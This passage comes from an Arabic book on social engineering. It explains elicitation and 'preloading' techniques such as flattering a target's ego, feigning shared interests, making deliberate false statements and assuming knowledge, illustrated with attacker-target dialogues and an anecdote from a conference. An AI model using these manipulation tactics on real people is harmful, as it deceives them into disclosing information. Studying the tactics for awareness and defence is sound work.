‫‪ Elicitation‬ﻟﻠﺣﺻول ﻋﻠﻰ ﻣﻌﻠوﻣﺎت ﻣن اﻟﮭدف ﻋﻠﻰ ﻣﺷروع ﯾﻌﻣل ﻋﻠﯾﮫ أو ﺑﯾﻧﺎت ﺳوف ﺗﻛون ﻣﺗﺎﺣﺔ ﻟﮫ‪ .‬أﯾﺎ ﻛﺎن‪ ،‬ﯾﺟب ﻋﻠﯾك ﺗﻌﯾﯾن‬
‫اﻟﮭدف أوﻻ‪ .‬ﺗﺎﻟﯾﺎ ﻋﻠﯾك أن ﺗﻘرر ﻧوع اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﺗرﯾد أن ﺗﺳﺄﻟﮭﺎ‪ ،‬وﻣن ﺛم ﺗﻘرر ﻣﺎ ھﻲ ﻧوع اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻛ ‪preload‬‬
‫ﻋﻠﻰ ﺷﺧص ﺗرﯾد ﻣﻧﮫ اﻹﺟﺎﺑﺔ ﻋن ﺗﻠك اﻷﺳﺋﻠﺔ‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﺻدﯾﻖ ﯾﻣﺷﻲ وﯾﻘول‪" :‬ﻟدي ان اﻗول ﻟﻛم ﻗﺻﺔ ﻣﺿﺣﻛﺔ ﺣﻘﺎ" ﻣﺎذا ﯾﺣدث ﻟك؟ ﻗد ﺗﺑدأ ﻓﻲ اﻻﺑﺗﺳﺎم ﻗﺑل أن ﯾﺑدأ اﻟﻘﺻﺔ‬
‫واﻟﺗرﻗب ﻷن ﺗﺳﻣﻊ ﺷﯾﺋﺎ ﻣﺿﺣﻛﺎ‪ ،‬ﻟذا ﺗﺑدو ﻣﺑﺗﺳﻣﺎ وﺗﻧﺗظر اﻟﻔرﺻﺔ ﻟﺗﺿﺣك‪ .‬ﺣﯾث اﻧﮫ ﻣﺳﺑﻘﺔ ﻛﻧت ﻣﺗوﻗﻌﺎ اﻟﻧﻛﺗﺔ‪.‬‬
‫ﻛﯾف ﺗﻌﻣل ھذه اﻟﻣﺑﺎدئ داﺧل ﻋﺎﻟم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ؟‬
‫‪ Preload‬ھﻲ ﻣﮭﺎرة ﻓﻲ ﺣد ذاﺗﮭﺎ‪ .‬أن ﺗﻛون ﻗﺎدرا ﻋﻠﻰ زرع اﻷﻓﻛﺎر أو اﻻﻓﻛﺎر ﺑطرﯾﻘﺔ ﻟﯾﺳت واﺿﺣﺔ أو ﻣﺗﻌﺟرﻓﺔ‪ ،‬أﺣﯾﺎﻧﺎ ﺗﺣﺗﺎج ﻣﮭﺎرة‬
‫أﻛﺛر ﻣن اﻠ ‪ Elicitation‬ﻧﻔﺳﮭﺎ‪ .‬ﻓﻲ ﺑﻌض اﻷوﻗﺎت‪ ،‬ﺗﻌﺗﻣد ﻋﻠﻰ ﺣﺳب اﻟﮭدف‪ Preload ،‬ﯾﻣﻛن أن ﯾﻛون ﻣﻌﻘد ﻟﻠﻐﺎﯾﺔ‪ .‬ﺣﯾث ﯾﺳﺗﻐرق ﺑﻌض‬
‫واﻟطﺎﻗﺔ‪ ،‬وﻗد ﯾﻛون ﻣﺑﺳط ﻣﺛل ﻣﻌرﻓﺔ أي ﻧوع ﻣن اﻟﺳﯾﺎرات اﻟﺗﻲ ﯾﻘودھﺎ أو ﺑﻌض اﻟﻘطﻊ اﻷﺧرى ﻣن اﻟﻣﻌﻠوﻣﺎت‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪810‬‬

‫ﻣوﺿوع اﻠ ‪ Preloading‬ﯾﺟﻌﻠك أﻛﺛر ﻣﻧطﻘﯾﺔ واﻟﺑدء ﻓﻲ ﺗﺣﻠﯾل ﻛﯾف ﯾﻣﻛن اﻻﺳﺗﻔﺎدة ﻣن اﻠ ‪ .Elicitation‬ﻣرات ﻋدﯾدة ﯾدرك اﻟﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ اﻧﮫ ﻟدﯾﮫ ﻣﮭﺎرة اﻠ ‪ Preloading‬ﻗﺑل أن ﯾﺗﺣول إﻟﻰ ﺣﯾﺎة اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﻓﻲ ﺷﺑﺎﺑﮫ ﯾﺟد اﻟﺗﻔﺎﻋل ﻣﻊ اﻟﻧﺎس ﺳﮭﻠﺔ‪ ،‬وﯾﺟد ﻓﻲ‬
‫وﻗت ﻻﺣﻖ اﻧﮫ ﯾﻣﯾل ﻧﺣو اﻟﻌﻣل اﻟذي ﯾﺳﺗﺧدم ھذه اﻟﻣﮭﺎرات‪ .‬رﺑﻣﺎ ﻛﺎن ھو ﻣرﻛز ﻣﺟﻣوﻋﮫ ﻣن اﻷﺻدﻗﺎء واﻟذﯾن ﯾﺗﺣدﺛون اﻟﯾك ﻋن ﻣﺷﺎﻛﻠﮭم‪.‬‬
‫اﻠ ‪ Preloading‬ﯾﻧطوي ﻋﻠﻰ ﻣﺷﺎﻋر اﻟﺷﺧص واﻟﺣواس‪ ،‬ﻓﻼ ﯾﻣﻧﺣﮭم أي ﺳﺑب ﻟﻠﺷك‪ .‬اﻟﺳؤال اﻟذي ﯾﺳﺄل ﯾﺟب أن ﯾﺗطﺎﺑﻖ ﻣﻊ اﻟذرﯾﻌﺔ‬
‫اﻟﺧﺎﺻﺔ ﺑك‪ .‬ﻟﺟﻌل اﻠ ‪ Preloading‬ﯾﻌﻣل ﻋﻠﯾك أن ﺗﺳﺄل ﻋن ﺷﻲء ﯾطﺎﺑﻖ اﻻﻋﺗﻘﺎد اﻟﺗﻲ ﺗرﯾد ﺑﻧﺎﺋﮫ‪ .‬ﻣﻣﺎرﺳﺔ اﻠ ‪ ،Elicitation‬وﻣن ﺛم‬
‫أﺻﺑﺣت ﺑﺎرﻋﺎ ﺑﮭﺎ ﻓﺄﻧﮭﺎ ﺗﺟﻌﻠك أﺳﺗﺎذا ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬

‫ﻛﯾف ﺗﺻﺑﺢ ‪ Elicitor‬ﻧﺎﺟﺢ‬

‫ﻣن ﺧﻼل ﺧﺑرة اﻟﻛﺎﺗب اﻟﺗﺣﻠﯾﻠﯾﺔ اﺳﺗطﺎع ان ﯾﺣدد ﺑﻌض اﻟﻌﻧﺎﺻر اﻷﺳﺎﺳﯾﺔ اﻟﺗﻲ ﺗؤدى اﻟﻰ ﻧﺟﺎح اﻠ ‪ Elicitation‬ﻛﺎﻻﺗﻰ‪:‬‬
‫‪ -‬ﻋدم اﻟﺧوف ﻋﻧد اﻟﺗﺣدث إﻟﻰ اﻟﻧﺎس وﻋدم اﻟﺗواﺟد ﻓﻲ وﺿﻊ واﻟذي ﯾﻌﺗﺑر "ﻏﯾر طﺑﯾﻌﻲ"‪.‬‬
‫‪ -‬ﺗﻘدﯾم اﻻھﺗﻣﺎم اﻟﺣﻘﯾﻘﻲ اﻟﻰ اﻟﻧﺎس‪ ،‬ﺣﺗﻰ ﻟو ﻛﻧت ﻻ ﺗﻌرﻓﮭم‪ .‬اﻧﺎ ارﯾد ان اﻓﻌل واﺳﺗﻣﺗﻊ ﺑﺎﻻﺳﺗﻣﺎع إﻟﻰ اﻟﻧﺎس‪.‬‬
‫‪ -‬ﺗﻘدﯾم اﻟﻣﺷورة أو اﻟﻣﺳﺎﻋدة ﻓﻘط ﻋﻧدﻣﺎ ﯾﻛون ﻟدﯾك ﺣل ﺣﻘﯾﻘﻲ‪.‬‬
‫‪ -‬اﻻﺳﺗﻣﺎع اﻟﻰ اﻟﻧﺎس ﻋﻧد اﻟﺣدﯾث ﻋن ﻣﺷﺎﻛﻠﮭم‪.‬‬
‫ھذه ھﻲ اﻟﻌﻧﺎﺻر اﻟرﺋﯾﺳﯾﺔ ﻟﻧﺟﺎح اﻠ ‪ .Elicitation‬ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة وزارة اﻷﻣن اﻟداﺧﻠﻲ )‪ (DHS‬ﺗﻘوم ﺑﺗﻘدﯾم ﻛﺗﯾب ﻋن اﻠ‬
‫‪ Elicitation‬اﻟﻰ وﻛﻼﺋﮭﺎ واﻟﺗﻲ ﯾﻣﻛن اﻟﺣﺻول ﻋﻠﯾﮫ ﻣن ﺧﻼل ھذا اﻟراﺑط‪.‬‬
‫‪http://www.social-engineer.org/wiki/archives/BlogPosts/ocso-elicitation-brochure.pdf‬‬
‫ھذا اﻟﻛﺗﯾب ﯾﺣﺗوي ﻋﻠﻰ ﺑﻌض اﻟﻣؤﺷرات اﻟﻣﻣﺗﺎزة‪ .‬ﻓﻲ اﻷﺳﺎس‪ ،‬ﯾﺗم اﺳﺗﺧدام اﻠ ‪ Elicitation‬ﻷﻧﮭﺎ ﺗﻌﻣل‪ ،‬وﻣن اﻟﺻﻌب ﺟدا اﻛﺗﺷﺎﻓﮭﺎ‪ ،‬وﻏﯾر‬
‫ﻣﮭددة‪.‬‬
‫ﻣﻨﺎﺷﺪة اﻟﻤﻈﮭﺮ اﻟﻨﻔﺴﻲ‪/‬ﻏﺮور اﻟﺸﺨﺺ )‪(Appealing to Someone’s Ego‬‬
‫اﻟﻣﮭﺎﺟم‪" :‬ﯾﺑدو ﻋﻠﯾك إﻧك ﺗﻣﻠك وظﯾﻔﺔ ھﺎﻣﺔ"‪.‬‬
‫اﻟﮭدف‪" :‬ﺷﻛرا ﻟك‪ ،‬ھذا ﻟطﯾف ﻣﻧك أن ﺗﻘول ھذا‪ ،‬وﻟﻛن وظﯾﻔﺗﻲ ﻟﯾﺳت ﺑﺗﻠك اﻷھﻣﯾﺔ‪ .‬ﻛل ﻣﺎ أﻓﻌﻠﮫ ھﻧﺎ ھو"‬
‫طرﯾﻘﺔ ﺟذاﺑﺔ ﻟﻠﻣﻧﺎﺷدة ﻏرور اﻟﺷﺧص وھﻲ ﺑﺳﯾطﺔ ﻟﻛن ﻓﻌﺎﻟﮫ‪ .‬ﻟﻛن اﺣذر‪ ،‬ﻋﻠﻰ اﻟرﻏم ﻣن‪ :‬طرﯾﻘﺔ ﻣﻧﺎﺷدة ﻏرور اﻟﺷﺧص أداة ﻗوﯾﺔ وﻟﻛن إذا‬
‫ﻛﻧت ﺗﺑﺎﻟﻎ ﻓﯾﮭﺎ أو ﺗﻔﻌﻠﮭﺎ ﺑدون إﺧﻼص ﻓﺈﻧﮫ ﺗؤدى اﻟﻰ ﻧﻔور اﻟﻧﺎس ﻣن ھذا‪.‬‬
‫ﻋﻧد اﺳﺗﺧدام ھذه اﻟطرﯾﻘﺔ ﺗﺟﻧب اﻟﺗﻔﺎف اﻟﻌﯾن او اﻟﺗﻧﮭد‪ .‬اﻟﻣﺟﺎﻣﻠﺔ اﻟﻠﺑﻘﺔ ﯾﻣﻛﻧﮭﺎ اﻗﻧﺎع ﺷﺧص ﺑﺎﻟدﺧول اﻟﻰ اﻟﻣﺣﺎدﺛﺔ اﻟﺗﻲ ﻟم ﺗﻛن ﺗﺣدث أﺑدا‪ ،‬ﻛﻣﺎ‬
‫ﺟﺎء ﻓﻲ ﻛﺗﯾب وزارة اﻷﻣن اﻟوطﻧﻲ‪ ،‬وھذا ھو ﺑﺎﻟﺿﺑط ﻣﺎ ﺗرﯾده ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬
‫اﻟﺘﻌﺒﯿﺮ ﻋﻦ اﻻھﺘﻤﺎم اﻟﻤﺸﺘﺮك )‪(Expressing a Mutual Interest‬‬
‫اﻟﻣﮭﺎﺟم‪" :‬ﺟﯾد‪ ،‬ﻟدﯾك ﺧﻠﻔﯾﺔ ﻋن ﻗواﻋد ﺑﯾﺎﻧﺎت اﻟﺗﻘﯾد ﻓﻲ ‪ISO 9001‬؟ ﯾﺟب أن ﺗﺷﺎھد اﻟﻧﻣوذج اﻟذي ﺑﻧﯾﺗﮫ ﻣن اﺟل ‪reporting engine‬‬
‫ﻟﻠﻣﺳﺎﻋدة ﻋﻠﻰ اﻟﺣﺻول ﻋﻠﻰ ھذا اﻟﺗﺻدﯾﻖ‪ .‬ﯾﻣﻛﻧك ان ﺗﺣﺻل ﻋﻠﻰ ﻧﺳﺧﺔ" ‪.‬‬
‫اﻟﮭدف‪" :‬أﻧﺎ أﺣب أن أرى ذﻟك‪ .‬ﻟﻘد ﺗم اﺳﺗﺧدام ﻓﻛرة إﺿﺎﻓﺔ ‪ reporting engine‬إﻟﻰ ﻧظﺎﻣﻧﺎ" ‪.‬‬
‫ﻣﻌرﺑﺎ ﻋن اﻻھﺗﻣﺎم اﻟﻣﺗﺑﺎدل ھو ﺟﺎﻧب ھﺎم ﻣن ﺟواﻧب ال ‪ .elicitation‬ھذا اﻟﺳﯾﻧﺎرﯾو ﺑﺎﻟذات ھو أﻛﺛر ﻗوة ﻣن ﻣﻧﺎﺷدة ﻏرور اﻟﺷﺧص ﻣﺎ‬
‫ﻷﻧﮫ ﯾﻣﺗد إﻟﻰ ﻣﺎ ﺑﻌد ﻋﻼﻗﺔ اﻟﻣﺣﺎدﺛﺔ اﻷوﻟﻲ‪ .‬اﺗﻔﺎق اﻟﮭدف ﯾؤدى اﻟﻰ ﻣزﯾد ﻣن اﻻﺗﺻﺎل‪ ،‬ﻟﻘﺑول اﻟﺑرﻧﺎﻣﺞ ﻣن اﻟﻣﮭﺎﺟم‪ ،‬ﺣﯾث أﻋرب ﻋن رﻏﺑﺗﮫ‬
‫ﻓﻲ ﻣﻧﺎﻗﺷﺔ ﺧطط ﻟﺑراﻣﺞ اﻟﺷرﻛﺔ ﻓﻲ اﻟﻣﺳﺗﻘﺑل‪ .‬ﻛل ھذا ﯾﻣﻛن أن ﯾؤدي إﻟﻰ إﺧﻼل ﺿﺧم ﺑﻣﺟﺎل اﻷﻣن‪.‬‬
‫اﻟﺧطر ﻓﻲ ھذه اﻟﺣﺎﻟﺔ ھو أن اﻟﻣﮭﺎﺟم ﻟدﯾﮫ اﻟﺳﯾطرة اﻟﻛﺎﻣﻠﺔ‪ .‬ﺣﯾث اﻧﮫ ﯾﺳﯾطر ﻋﻠﻰ اﻟﺧطوات اﻟﻣﻘﺑﻠﺔ‪ ،‬ﻣﺎ ھﻲ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﺗم إرﺳﺎﻟﮭﺎ‪،‬‬
‫وﻛﻣﯾﺗﮭﺎ‪ ،‬وﻣﺗﻰ ﯾﺗم اﻋﻼﻧﮭﺎ‪ .‬ھذا ھﻲ ﺧطوة ﻗوﯾﺔ ﺟدا ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬إذا ﻛﺎﻧت اﻟﻣﺷﺎرﻛﺔ طوﯾﻠﺔ اﻷﺟل‪ ،‬وﻣن ﺛم وﺟود‬
‫ﻗطﻌﺔ ﻣن اﻟﺑراﻣﺞ اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻛون ﻣﺷﺗرﻛﺔ ﻣن ﺷﺄﻧﮭﺎ أن ﯾﻌطﻰ ﻓواﺋد أﻛﺛر‪ .‬ﺗﻘﺎﺳم اﻟﺑرﻣﺟﯾﺎت اﻟﻘﺎﺑﻠﺔ ﻟﻼﺳﺗﺧدام واﻟﻐﯾر ﺧﺑﯾﺛﺔ ﯾؤدى اﻟﻰ‬
‫ﺑﻧﺎء اﻟﺛﻘﺔ‪ ،‬ﺑﻧﺎء اﻟﻌﻼﻗﺔ‪ ،‬وﺟﻌل اﻟﮭدف ﻟدﯾﮫ اﻟﺷﻌور ﺑﺎﻻﻟﺗزام‪.‬‬
‫اﻻدﻻء ﺑﺈﻓﺎدة ﻛﺎذﺑﺔ ﻣﺘﻌﻤﺪا )‪(Making a Deliberate False Statement‬‬
‫ﺗﻘدﯾم ﺑﯾﺎن ﻛﺎذب ﯾﺑدو أﻧﮫ ﺳﯾﻛون ﻟﮫ ﻧﺗﺎﺋﺞ ﻋﻛﺳﯾﺔ‪ ،‬ﻟﻛﻧﮫ ﯾﻣﻛن أن ﯾﻛون ﻗوة ﻣؤﺛرة ﻻ ﯾﺳﺗﮭﺎن ﺑﮭﺎ‪.‬‬
‫اﻟﻣﮭﺎﺟم‪" :‬اﻟﺟﻣﯾﻊ ﯾﻌرف أن ﺷرﻛﺔ ‪ XYZ‬ﻗد ﻗﺎﻣت ﺑﺈﻧﺗﺎج أﻛﺛر اﻟﺑرﻣﺟﯾﺎت ﻣﺑﯾﻌﺎ ﻋﻠﻰ اﻷرض"‪.‬‬
‫اﻟﮭدف‪" :‬ﻓﻲ اﻟواﻗﻊ‪ ،‬ھذا ﻟﯾس ﺻﺣﯾﺣﺎ‪ .‬ﺣﯾث ﺑدأت ﺷرﻛﺗﻧﺎ ﺑﯾﻊ ﻣﻧﺗﺞ ﻣﻣﺎﺛل ﻓﻲ ﻋﺎم ‪ ،1998‬وﺳﺟﻼت اﻟﻣﺑﯾﻌﺎت ﻟدﯾﻧﺎ ﻗد اﺳﺗﺣوذت ﻋﻠﻰ‬
‫‪."%23‬‬
‫ھذه اﻟﺑﯾﺎﻧﺎت‪ ،‬إذا ﻣﺎ اﺳﺗﺧدﻣت ﻋﻠﻰ ﻧﺣو ﻓﻌﺎل‪ ،‬ﻓﺎﻧﮫ ﯾﻣﻛﻧﮭﺎ ان ﺗﺳﺗﺛﯾر رد ﻓﻌل ﻣن اﻟﮭدف ﻟﺗﺑﯾن وﻗﺎﺋﻊ ﺣﻘﯾﻘﯾﺔ‪ .‬ﻣﻌظم اﻟﻧﺎس ﯾﻘوﻣون ﺑﺗﺻﺣﯾﺢ‬
‫اﻟﺑﯾﺎﻧﺎت اﻟﺧﺎطﺋﺔ ﻋﻧدﻣﺎ ﯾﺳﻣﻌوﻧﮭﺎ‪ .‬اﻧﮭﺎ ﺗﻘرﯾﺑﺎ ﻛﻣﺎ ﻟو أﻧﮭﺎ ﺗﺣدى ﻹﺛﺑﺎت أﻧﮭﺎ ﺻﺣﯾﺣﺔ‪ .‬ﯾﺑدو أن اﻟرﻏﺑﺔ ﻓﻲ إﺑﻼغ اﻵﺧرﯾن‪ ،‬إظﮭﺎر اﻟﻣﻌرﻓﺔ‪،‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪811‬‬

‫واﻟﺗﺳﺎﻣﺢ ﻣﻊ اﻷﺧطﺎء ھﻲ ﺳﻣﮫ ﻣوﺟودة ﻓﻲ اﻟطﺑﯾﻌﺔ اﻟﺑﺷرﯾﺔ‪ .‬ﻓﮭم ھذه اﻟﺻﻔﺔ ﯾﻣﻛن أن ﺗﺟﻌل ھذا اﻟﺳﯾﻧﺎرﯾو ﻗوي‪ .‬ﯾﻣﻛﻧك اﺳﺗﺧدام ھذا‬
‫اﻷﺳﻠوب ﻟﺳﺣب اﻟﺗﻔﺎﺻﯾل اﻟﻛﺎﻣﻠﺔ ﻋن اﻟﮭدف ﺣول وﻗﺎﺋﻊ ﺣﻘﯾﻘﯾﺔ‪.‬‬
‫اﻟﻤﻌﻠﻮﻣﺎت اﻟﺘﻄﻮﻋﯿﺔ )‪(Volunteering Information‬‬
‫ﻛﺗﯾب ‪ DHS‬رﻛز ﻋﻠﻰ ﻧﻘطﺔ ﺟﯾدة ﺣول ﺳﻣﺔ ﺷﺧﺻﯾﺔ ﻛﺛﯾر ﻣﻧﺎ ﻟدﯾﮭم‪ .‬ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﺗﻘدﯾم اﻟﻣﻌﻠوﻣﺎت ﻓﻲ اﻟﻣﺣﺎدﺛﺔ ﺗﻘرﯾﺑﺎ ﯾﺟﺑر اﻟﮭدف‬
‫ﻟﻠرد ﺑﻣﻌﻠوﻣﺎت ﻣﻔﯾدة ﻋﻠﻰ ﺣد ﺳواء‪.‬‬
‫ﺗرﯾد أن ﺗﺟرب ھذا؟ ﻣﺛﻼ ﻓﻲ اﻟﻣرة اﻟﻘﺎدﻣﺔ ﻋﻧدﻣﺎ ﺗﻛون ﻣﻊ أﺻدﻗﺎﺋك ﺟرب ان ﺗﻘول ﺷﯾﺋﺎ ﻣﺛل‪" ،‬ھل ﺳﻣﻌت ﻋن روث؟ ﺳﻣﻌت اﻧﮭﺎ ﺗم‬
‫ﺗﺳرﯾﺣﮭﺎ ﻣن اﻟﻌﻣل وﺗﺟد ﻣﺷﺎﻛل ﺧطﯾرة ﻟﻠﻌﺛور ﻋﻠﻰ ﻣزﯾد ﻣن اﻟﻌﻣل"‪.‬‬
‫ﻣن اﻟﺟواﻧب اﻹﻧﺳﺎﻧﯾﺔ اﻟﻣﺣزﻧﺔ ھﻲ ان اﻟﻧﺎس ﺗﻣﯾل إﻟﻰ اﻟرﻏﺑﺔ ﻓﻲ ﺗﺑﺎدل اﻷﺧﺑﺎر ﻣﻣﺎﺛﻠﺔ‪ .‬ﯾﻣﻛﻧك ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ اﻻﺳﺗﻔﺎدة ﻣن ھذا اﻟﻣﯾل‬
‫ﻟﺿﺑط ﻧﻐﻣﺔ أو ﻣزاج اﻟﻣﺣﺎدﺛﺔ وﺑﻧﺎء اﻟﺷﻌور ﺑﺎﻻﻟﺗزام‪.‬‬
‫اﻓﺘﺮاض اﻟﻤﻌﺮﻓﺔ )‪(Assuming Knowledge‬‬
‫أداة ﺗﻼﻋب أﺧرى ﻗوﯾﺔ‪ .‬ﻓﻣن اﻟﺷﺎﺋﻊ أن ﻧﻔﺗرض أن ھذا اﻟﺷﺧص ﻟدﯾﮫ ﻣﻌرﻓﺔ ﻋن ﺣﺎﻟﺔ ﻣﻌﯾﻧﺔ‪ ،‬اﻧﮭﺎ ﻣﻘﺑوﻟﺔ ﻟﻣﻧﺎﻗﺷﺔ اﻷﻣر ﻣﻌﮭم‪ .‬ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟم‬
‫اﺳﺗﻐﻼل ﻋﻣدا ھذه اﻟﺻﻔﺔ ﻣن ﺧﻼل ﺗﻘدﯾم اﻟﻣﻌﻠوﻣﺎت ﻛﻣﺎ ﻟو ﻛﺎن ھو ﯾﻌرﻓﮭﺎ ﺛم اﺳﺗﺧدام ‪ elicitation‬ﻟﺑﻧﺎء ﻣﺣﺎدﺛﺔ ﺣوﻟﮫ‪ .‬ﺛم ﯾﻘوم ﺑﺳرد‬
‫اﻟﻣﻌﻠوﻣﺎت ﻛﻣﺎ ﻟو ﻛﺎن ﯾﻌرﻓﮭﺎ وﻣواﺻﻠﺔ ﺑﻧﺎء اﻟوھم أن ﻟدﯾﮭم ان ﯾﻣﻠك ﻣﻌرﻓﺔ وﺛﯾﻘﺔ ﻋن ھذا اﻟﻣوﺿوع‪ .‬ھذا اﻟﺳﯾﻧﺎرﯾو ﯾﻣﻛن أن ﯾﺗﺿﺢ ﺑﺷﻛل‬
‫أﻓﺿل ﻣﻊ اﻟﻣﺛﺎل اﻟﺗﺎﻟﻲ‪.‬‬
‫ذات ﻣرة ﻛﻧت ذاھﺑﺎ اﻟﻰ اﻟﺻﯾن ﻟﻠﺗﻔﺎوض ﻋﻠﻰ ﺻﻔﻘﺔ ﻛﺑﯾرة ﻋﻠﻰ ﺑﻌض اﻟﻣواد‪ .‬وﻟﻛﻧﻰ ﻓﻲ ﺣﺎﺟﺔ إﻟﻰ ﺑﻌض اﻟﻣﻌرﻓﺔ ﻋن اﻟﺷرﻛﺔ اﻟﺗﻲ ﺳوف‬
‫اﺗﻌﺎﻗد ﻣﻌﮭﺎ‪ ،‬وﻛﺎن ﯾﺟب إﯾﺟﺎد وﺳﯾﻠﮫ ﻟﻠﺣﺻول ﻋﻠﻰ ھذه اﻟﻣﻌرﻓﺔ ﻗﺑل ان اﻟﺗﻘﻰ ﺑﮭم‪ .‬ﺣﯾث اﻧﻧﺎ ﻟم ﻧﻠﺗﻖ ﻣن ﻗﺑل وﺟﮭﺎ ﻟوﺟﮫ وﻟﻛن ﻟﻘد ﻛﻧت ذاھﺑﺎ‬
‫ﻟﺣﺿور ﻣؤﺗﻣر ﻓﻲ اﻟﺻﯾن ﻗﺑل ﺑدء اﻟﻣﻔﺎوﺿﺎت‪ .‬ﺑﯾﻧﻣﺎ ﻛﻧت ﻓﻲ اﻟﻣؤﺗﻣر ﺣدث ﻟﻲ أن ﺳﻣﻌت ﻣﺣﺎدﺛﺔ ﺗﺑدأ ﺑﺣول ﻛﯾﻔﯾﺔ وﺿﻊ ﻧﻔﺳك ﻓﻲ ﻣوﺿﻊ‬
‫أﻋﻠﻰ ﻋﻧد اﻟﺗﻌﺎﻣل ﻣﻊ اﻟﺻﯾﻧﯾﯾن ﻋﻠﻰ داﺋرة اﻟﻣﻔﺎوﺿﺎت‪.‬‬
‫ﻛﻧت أﻋرف أن ھذه ﻓرﺻﺗﻲ‪ ،‬وﻟﺟﻌل اﻟوﺿﻊ أﻛﺛر روﻋﮫ ﻛﺎن واﺣد ﻣن اﻟﻧﺎس ﻓﻲ ھذه اﻟﻣﺟﻣوﻋﺔ اﻟﺻﻐﯾرة ﯾﻌﻣل ﻟدى اﻟﺷرﻛﺔ اﻟﺗﻲ ﻛﻧت ذاھﺑﺎ‬
‫ﻻﺟﺗﻣﺎع ﻣﻌﮭﺎ‪ .‬ﺑﺳرﻋﺔ ﻗﻣت ﺑﺈدﺧﺎل ﻧﻔﺳﻲ اﻟﻰ اﻟﻣﺣﺎدﺛﺔ‪ ،‬وﻋرﻓت أﻧﮫ إذا ﻟم أﻛن أﻗول ﺷﯾﺋﺎ ﺳرﯾﻊ ﻓﺳوف أﺧﺳر ھؤﻻء‪ .‬ﺣﯾث ﻛﺎﻧت ﻣﻌرﻓﺗﻲ‬
‫ﻣﺣدودة وﻟﻛﻧﮭﺎ ﻟم ﯾﻛوﻧوا ﻓﻲ ﺣﺎﺟﺔ ﻟﻣﻌرﻓﺔ ذﻟك‪ .‬ﻋﻧدﻣﺎ ﺗوﻗﻔﺎ اﻟﺟﻣﯾﻊ ﻟﺑﺿﻊ اﻟوﻗت ﻋن اﻟﻣﺣﺎدﺛﺔ ﺑدأت ﺑﺎﻟﺣدﯾث ﻋن ﻧظرﯾﺔ ﺟواﻧﻛﺳﻲ‪.‬‬
‫ﺟواﻧﻛﺳﻲ ھو أﺳﺎﺳﺎ ﻛﯾف ﻻﺛﻧﯾن ﻣن اﻟﻧﺎس ﻗد ﻻ ﯾﻛوﻧﺎ ﻟﮭم ﻧﻔس اﻟﻣﻛﺎﻧﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ أن ﯾﺻﺑﺣوا ﻣﺗﺻﻠﯾن‪ ،‬وﻣن ﺛم ﯾﻘوم واﺣد ﺑﺗﻧﻔﯾذ ﺻﺎﻟﺢ‬
‫ﻟﻠطرف اﻵﺧر‪ .‬ﺗﺣدﺛت ﻋن ﻛﯾف ﯾﻣﻛن اﺳﺗﺧدام ھذا اﻻﺗﺻﺎل‪ ،‬وﻣن ﺛم رﺑطﮫ ﻣﻊ ﻛم ھو ﻣﮭم ﺑﺎﻟﻧﺳﺑﺔ ﻟﻸﻣرﯾﻛﯾﯾن ﻟﯾﺳت ﻣﺟرد اﺗﺧﺎذ ﺑطﺎﻗﺔ‬
‫أﻋﻣﺎل ووﺿﻌﮭﺎ ﻓﻲ ﺟﯾﺑﻲ ﻣرة أﺧرى وﻟﻛن ﻹﻋﺎدة اﻟﻧظر ﻓﯾﮭﺎ‪ ،‬واﻟﺗﻌﻠﯾﻖ ﻋﻠﻰ ذﻟك‪ ،‬وﻣن ﺛم وﺿﻌﮭﺎ ﻓﻲ ﻣﻛﺎن ﻣﺣﺗرم‪.‬‬
‫ﻛﺎن ھذا اﻟﺣدﯾث ﯾﻛﻔﻲ ﻟوﺿﻌﻲ ﻛﺷﺧص ﻟدﯾﮫ ﺑﻌض اﻟﻣﻌرﻓﺔ واﺳﺗﺣﻖ اﻟﺑﻘﺎء ﻓﻲ داﺋرة اﻟﺛﻘﺔ ھﻧﺎك‪ .‬اﻵن ﺑﻌد أن ﻗﻣت ﺑﺄﻧﺷﺎء ﻗﺎﻋدة ﻣﻌرﻓﺗﻲ‬
‫ﺟﻠﺳت ﻣرة أﺧرى‪ ،‬إﻟﻰ ﻛل ﺷﺧص واﺳﺗﻣﻌت إﻟﯾﮭم ﻓﻲ ﺳرد ﺧﺑرﺗﮭم وﻣﻌرﻓﺗﮭم اﻟﺷﺧﺻﯾﺔ ﻋﻠﻰ ﻛﯾﻔﯾﺔ اﻟﺗﻔﺎوض ﺑﺷﻛل ﺻﺣﯾﺢ ﻣﻊ اﻟﺷرﻛﺎت‬
‫اﻟﺻﯾﻧﯾﺔ اﻟﻛﺑﯾرة‪ .‬دﻓﻌت اھﺗﻣﺎم وﺛﯾﻖ ﻟﻠﻐﺎﯾﺔ وﺧﺎﺻﺔ ﻋﻧد اﻟﺳﺎدة اﻟذﯾن ﯾﻌﻣﻠون ﻓﻲ اﻟﺷرﻛﺔ اﻟﮭدف‪ .‬ﻛﺎﻧت ھذه اﻟﻣﻌرﻓﺔ أﻛﺛر ﻗﯾﻣﺔ ﻣن أي ﺷﻲء‬
